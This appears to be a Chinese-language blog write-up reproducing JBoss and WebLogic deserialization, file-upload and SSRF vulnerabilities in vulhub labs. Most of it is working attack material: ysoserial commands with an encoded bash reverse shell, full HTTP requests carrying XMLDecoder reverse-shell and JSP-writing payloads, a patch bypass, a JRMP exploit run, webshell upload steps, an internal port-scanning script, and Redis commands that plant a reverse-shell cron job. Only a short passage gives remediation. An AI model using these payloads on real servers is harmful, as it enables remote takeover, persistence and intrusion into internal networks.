中间件漏洞复现
JBoss
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
使用vulhub环境 该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化: 所以,我们用常规Java反序列化漏洞测试方法来复现该漏洞。 我们使用bash来反弹shell,但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码。 工具:http://www.jackson-t.ca/runtime-exec-payloads.html
使用ysoserial来复现生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAwLzY2NiAwPiYx}{base64,-d}{bash,-i}" > poc.ser
这里注意jdk版本不要太高 生成的ser为poc 将文件作为post上传
开启nc监听
这里我尝试失败了
使用curl发送payload成功
curl http://192.168.0.103:8080/invoker/readonly --data-binary @poc.ser
JBoss JMXInvokerServlet 反序列化漏洞
JBoss在处理/invoker/JMXInvokerServlet请求的时候读取了对象,所以我们直接将ysoserial生成好的POC附在POST Body中发送即可。整个过程可参考jboss/CVE-2017-12149 访问/invoker/JMXInvokerServlet 会下载文件 则存在漏洞 利用上边的poc继续反弹shell
JBoss EJBInvokerServlet 反序列化漏洞
访问/invoker/EJBInvokerServlet 出现下图情况则有漏洞 利用方法同上
JBoss <=4.x JBossMQJMS 反序列化漏洞(CVE-2017-7504)
访问/jbossmq-httpil/HTTPServerILServlet 出现以下页面则有漏洞 同上 利用ysoserial生成poc然后利用curl发送poc反弹shell
WebLogic
WebLogic是美国Oracle公司出品的一个applicationserver,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布 式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之 中。 默认端口:7001
XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)
环境还是vulhub的 Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可 执行任意命令。 访问 /wls-wsat/CoordinatorPortType 返回如下页面,则可能存在此漏洞。
漏洞不仅存在于 /wls-wsat/CoordinatorPortType 。 只要是在wls-wsat包中的Uri皆受到影响,可以查看web.xml得知所有受到影响的Uri,路径 为:C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml 默认受到影响的Uri如下:
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
反弹shell
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.0.103:7001
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.164 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=CF5F603380FE93376BCBC81CB2E1094A
Content-Type: text/xml
Connection: close
Content-Length: 637
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.0.100/666 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
写文件
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.0.103:7001
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.164 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=CF5F603380FE93376BCBC81CB2E1094A
Content-Type: text/xml
Connection: close
Content-Length: 637
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test33.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("test777776666666"); %>
]]>
</string>
</void>
<void method="close"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
访问 /bea_wls_internal/test33.jsp 即为写入的文件
CVE-2017-10271
CVE-2017-3506的补丁加了验证函数,补丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法, 验证Payload中的节点是否 存在object Tag。
private void validate(InputStream is){
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser =factory.newSAXParser();
parser.parse(is, newDefaultHandler() {
public void startElement(String uri, StringlocalName, String qName, Attributes attributes)throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch(ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXExceptionvar6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOExceptionvar7) {
throw new IllegalStateException("Parser Exception", var7);
}
}
我们将object换成void就可绕过此补丁,产生了CVE-2017-10271。
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test33.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("test777776666666"); %>
]]>
</string>
</void>
<void method="close"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
修复建议 1)安装补丁。 2)或删除wls-wsat组件,再次访问返回404.
1.删除C:\Oracle\Middleware\wlserver_10.3\server\lib\wls-wsat.war
2.删除C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\.internal\wls-wsat.war
3.删除C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat
4.重启Weblogic
Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)
1)下载ysoserial.jar
wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
2)使用ysoserial.jar,启动JRMP Server
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
其中,[command]是想执行的命令,而[listen port]是JRMP Server监听的端口。、 这里我执行
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'touch /tmp/flag'
3)执行exploit.py
python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
其中,[victim ip]和[victim port]是目标weblogic的IP和端口,[path to ysoserial]是本地(Kail系统上的)ysoserial的路径,[JRMPListener ip]和[JRMPListener port]第一步中启动JRMP Server的IP地址和端口。[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2 这里我执行 python2 exploit.py 192.168.0.103 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.0.102 1099 JRMPClient2
Weblogic 任意文件上传漏洞(CVE-2018-2894)
Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在”生产模式”下默认不开启,所以该漏洞有一定限制。 利用该漏洞,可以上传任意jsp文件,进而获取服务器权限 环境启动后,访问http://your-ip:7001/console,即可看到后台登录页面。 执行docker-compose logs grep password可查看管理员密码,管理员用户名为weblogic 登录后台页面,点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项: 访问http://your-ip:7001/ws\_utc/config.do,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。我将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。 然后点击安全 -> 增加,然后上传webshell: 上传后,查看返回的数据包,其中有时间戳: 然后访问http://your-ip:7001/ws_utc/css/config/keystore/\[时间戳\]_\[文件名\],即可执行webshell:
Weblogic SSRF漏洞利用redis反弹shell
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回did not have a valid SOAP content-type
换成其他端口则出现
修改为一个不存在的端口,将会返回could not connect over HTTP to server。
通过错误的不同,即可探测内网状态。 注入HTTP头,利用Redis反弹shell Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。 首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*) 通过脚本探测内网服务开放情况
import thread
import time
import re
import requests
def ite_ip(ip):
for i in range(1, 256):
final_ip = '{ip}.{i}'.format(ip=ip, i=i)
print final_ip
thread.start_new_thread(scan, (final_ip,))
time.sleep(3)
def scan(final_ip):
ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
for port in ports:
vul_url = 'http://192.168.0.132:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
try:
#print vul_url
r = requests.get(vul_url, timeout=15, verify=False)
result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
result2 = re.findall('but could not connect', r.content)
result3 = re.findall('No route to host', r.content)
if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
print '[!]'+final_ip + ':' + port
except Exception, e:
pass
if __name__ == '__main__':
ip = "172.23.0"
if ip:
print ip
ite_ip(ip)
else:
print "no ip"
内网172.23.0.2:6379存在redis 发送三条redis命令,将弹shell脚本写入/etc/crontab:
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
进行url编码:
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.100%2F666%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0Aaaa
注意,换行符是“\r\n”,也就是“%0D%0A”。
将url编码后的字符串放在ssrf的域名后面,发送:
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.23.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.100%2F6666%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
最后补充一下,可进行利用的cron有如下几个地方:
/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件